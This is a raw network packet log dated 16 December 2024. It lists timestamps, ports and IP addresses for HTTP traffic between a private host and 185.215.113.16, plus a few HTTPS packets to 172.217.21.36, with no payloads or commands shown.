Dec 16, 2024 15:02:36.019395113 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.019439936 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.019439936 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.020205021 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.020278931 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.020371914 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.020519018 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.021338940 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.021409988 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.021441936 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.021496058 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.022742987 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.022809029 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.022831917 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.022880077 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.024055958 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.024133921 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.024250984 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.024296999 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.025698900 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.025793076 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.025846958 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.025846958 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.027585983 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.027626991 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.027673960 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.027786016 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.029026985 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.029081106 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.029097080 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.029144049 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.030759096 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.030797958 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.031074047 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.031074047 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.032244921 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.032315969 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.032458067 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.032458067 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.034101009 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.034193993 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.034219980 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.034250975 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.035715103 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.035774946 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.035808086 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.035856962 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.037208080 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.037285089 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.037313938 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.037344933 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.038759947 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.038821936 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.038858891 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.038894892 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.040378094 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.040554047 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.040676117 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.042033911 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.042145014 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.042160988 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.042201042 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.043941021 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.043996096 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.044060946 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.044060946 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.147587061 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.147650003 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.147680044 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.147720098 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.148159981 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.148237944 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.148313046 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.149315119 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.149372101 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.149379015 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.149457932 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.150738001 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.150851965 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.150882006 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.151009083 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.151865959 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.151911020 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.151918888 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.152024031 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.153086901 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.153206110 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.153217077 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.153326988 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.154346943 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.154417992 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.154443979 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.154504061 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.155592918 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.155675888 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.155698061 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.155819893 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.156790972 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.156893969 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.156918049 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.157038927 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.158004999 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.158094883 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.158128023 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.158242941 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.159262896 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.159327030 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.159332037 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.159481049 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.160373926 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.160453081 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.160486937 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.160526991 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.161606073 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.161684990 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.161705017 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.161747932 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.163073063 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.163151026 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.163238049 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.163337946 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.163904905 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.163969994 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.163990974 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.164053917 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.165013075 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.165118933 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.165129900 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.165175915 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.166302919 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.166369915 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.166407108 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.166407108 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.167321920 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.167418003 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.167484999 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.167582035 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.168688059 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.168751001 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.168762922 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.168828011 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.169681072 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.169771910 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.169970036 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.170058012 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.170649052 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.170731068 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.170773029 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.170773029 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.171909094 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.172008991 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.172044992 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.172091007 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.173131943 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.173204899 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.173239946 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.173346996 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.174076080 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.174127102 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.174164057 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.174175978 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.175203085 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.175276041 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.175462961 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.175529957 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.176286936 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.176354885 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.176431894 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.176600933 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.177423954 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.177469015 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.177524090 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.177618980 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.178585052 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.178636074 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.178673029 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.178776026 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.179868937 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.179920912 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.179986954 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.180944920 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.180958986 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.180994987 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.181071043 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.181998968 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.182040930 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.182075024 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.182117939 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.183065891 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.183134079 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.183154106 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.183228016 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.184200048 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.184340954 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.184366941 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.184411049 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.185338020 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.185417891 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.185492039 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.186578989 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.186656952 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.186697960 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.186743975 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.187671900 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.187731981 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.187764883 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.187787056 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.189035892 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.189129114 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.189268112 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.189343929 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.190213919 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.190294981 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.190305948 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.190346003 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.190962076 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.191040039 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.191073895 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.191142082 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.192090988 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.192205906 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.192225933 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.192259073 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.193233013 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.193316936 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.193350077 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.193454981 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.194366932 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.194514990 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.194595098 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.194595098 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.196177959 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.196244955 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.196286917 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.196419001 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.196630955 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.196928978 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.196953058 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.196993113 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.197731018 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.197778940 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.197839022 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.198163033 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.199151993 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.199224949 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.199393034 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.199505091 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.200061083 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.200105906 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.200171947 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.200403929 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.201368093 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.201409101 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.201550007 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.201675892 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.202328920 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.202387094 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.202406883 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.202465057 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.203357935 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.203424931 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.203485012 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.203696012 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.204531908 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.204643011 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.204653978 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.204833984 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.205646038 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.205702066 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.205790043 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.205950022 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.206971884 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.207067966 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.207079887 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.207217932 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.207835913 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.207958937 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.339715958 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.339893103 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.339935064 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.340008974 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.340109110 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.340121984 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.340239048 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.341546059 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.341568947 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.341638088 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.341667891 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.342622995 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.342781067 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.342824936 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.342873096 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.343609095 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.343658924 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.343730927 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.343883038 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.344656944 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.344746113 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.344805956 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.344854116 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.345609903 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.345740080 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.345788002 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.346509933 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.346571922 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.346615076 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.346615076 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.347733021 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.347816944 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.347841978 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.347922087 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.348736048 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.348825932 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.348846912 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.348890066 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.349397898 CET	443	49940	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.349453926 CET	443	49940	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.349515915 CET	49940	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:36.349543095 CET	443	49940	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:36.349740028 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.349814892 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.349895954 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.350075006 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.350724936 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.350778103 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.350821018 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.350821018 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.351816893 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.351985931 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.352022886 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.352022886 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.352911949 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.352974892 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.352998018 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.353085041 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.354027033 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.354089022 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.354190111 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.354259014 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.355084896 CET	80	49938	185.215.113.16	192.168.2.6
